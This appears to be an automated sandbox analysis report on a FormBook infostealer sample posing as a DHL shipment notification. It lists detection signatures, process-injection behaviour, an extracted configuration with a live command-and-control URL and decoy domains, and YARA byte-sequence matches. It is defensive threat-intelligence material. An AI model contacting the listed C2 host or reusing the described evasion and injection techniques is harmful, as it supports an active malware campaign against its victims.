Edit tour

Windows Analysis Report
DHL SHIPMENT NOTIFICATION 1146789443.exe

Overview

General Information

Sample Name:	DHL SHIPMENT NOTIFICATION 1146789443.exe
Analysis ID:	626119
MD5:	8fbdf9f70b21179d87b83fe47b2137dd
SHA1:	146eebe16adad9486cac66f4574810cec1f56cbb
SHA256:	972bc525f6be5f7281a72ec4887cc5b85f4b064463bba234f1258c967b164026
Tags:	exeFormbook
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Modifies the prolog of user mode functions (user mode inline hooks)

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Checks if the current process is being debugged

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

DHL SHIPMENT NOTIFICATION 1146789443.exe (PID: 6224 cmdline: "C:\Users\user\Desktop\DHL SHIPMENT NOTIFICATION 1146789443.exe" MD5: 8FBDF9F70B21179D87B83FE47B2137DD)

aeokw.exe (PID: 6272 cmdline: C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\fnnok MD5: 6F70881E0183CE9F78E300CF2C8DC48E)

aeokw.exe (PID: 6288 cmdline: C:\Users\user\AppData\Local\Temp\aeokw.exe C:\Users\user\AppData\Local\Temp\fnnok MD5: 6F70881E0183CE9F78E300CF2C8DC48E)

explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

svchost.exe (PID: 2360 cmdline: C:\Windows\SysWOW64\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cmd.exe (PID: 6308 cmdline: /c del "C:\Users\user\AppData\Local\Temp\aeokw.exe" MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.lgf7.com/amdf/"], "decoy": ["xadazheng.com", "bremorgan.com", "keilaniclothing.com", "du9a20ofolvhfr.xyz", "santamariacourt.com", "wcagls.com", "visionuptechnology.com", "sddysrq.com", "pencetslot.site", "wpcoisas.com", "caomei08.xyz", "infinitepotential.xyz", "anotherchanceranch.net", "ymterp.com", "zhuyunming.com", "elementarymodel.com", "edmondsonfinancial.com", "adsnethosting.com", "obohsan-souzokusindan.tech", "helicopterart.com", "shangnuanjia.com", "89660.world", "zkzxconsulting.com", "temp-bait.com", "8562.pet", "taojinwa.net", "chatterboxtwo.com", "pejoki.com", "effectual-science.com", "ma3721.com", "b498gszj.com", "sicuumon.com", "northwtb.com", "reconbattery.xyz", "sibirerzucht.com", "fusionpsychiatry.net", "biblicalguidance.net", "liquated99tic.com", "ruvinslimshop.com", "attjeans.com", "reservedadseyelevel.com", "theselungs.com", "safe-edd-centerhelp92.com", "provercoop.com", "216498.com", "bbqautopilot.com", "nurhurdacilik.com", "zo177.wales", "doublemsporthorses.com", "hl308.com", "movewhenyouwant.com", "smartinvestorsguide.com", "joga-wroclaw.com", "potionsparchment.com", "rtpholywin99.com", "sosocean.com", "vliralip.com", "alphaomegamerch.net", "pallettruckload.com", "spritzdao.xyz", "unbound-soul.com", "enssale.xyz", "capitalisllc.com", "ultrakill.xyz"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x16a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x17a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x191f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x40c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x78e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x88ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000000.294568326.000000000E814000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x4809:$sqlite3step: 68 34 1C 7B E1 0x491c:$sqlite3step: 68 34 1C 7B E1 0x4838:$sqlite3text: 68 38 2A 90 C5 0x495d:$sqlite3text: 68 38 2A 90 C5 0x484b:$sqlite3blob: 68 53 D8 7F 8C 0x4973:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.322163759.0000000000DD0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.322197992.0000000001100000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000000.256268925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.321951084.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x16a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x17a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x191f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x40c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x78e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x88ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000000.310303298.000000000E814000.00000040.00000001.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x4809:$sqlite3step: 68 34 1C 7B E1 0x491c:$sqlite3step: 68 34 1C 7B E1 0x4838:$sqlite3text: 68 38 2A 90 C5 0x495d:$sqlite3text: 68 38 2A 90 C5 0x484b:$sqlite3blob: 68 53 D8 7F 8C 0x4973:$sqlite3blob: 68 53 D8 7F 8C
00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000001.00000002.258171974.00000000012A0000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000000.254937698.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.0.aeokw.exe.400000.8.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.0.aeokw.exe.400000.8.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.0.aeokw.exe.400000.8.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
1.2.aeokw.exe.12a0000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.aeokw.exe.12a0000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.aeokw.exe.12a0000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
2.0.aeokw.exe.400000.6.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.0.aeokw.exe.400000.6.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.0.aeokw.exe.400000.6.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
1.2.aeokw.exe.12a0000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
1.2.aeokw.exe.12a0000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
1.2.aeokw.exe.12a0000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
2.2.aeokw.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.aeokw.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.aeokw.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
2.0.aeokw.exe.400000.6.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
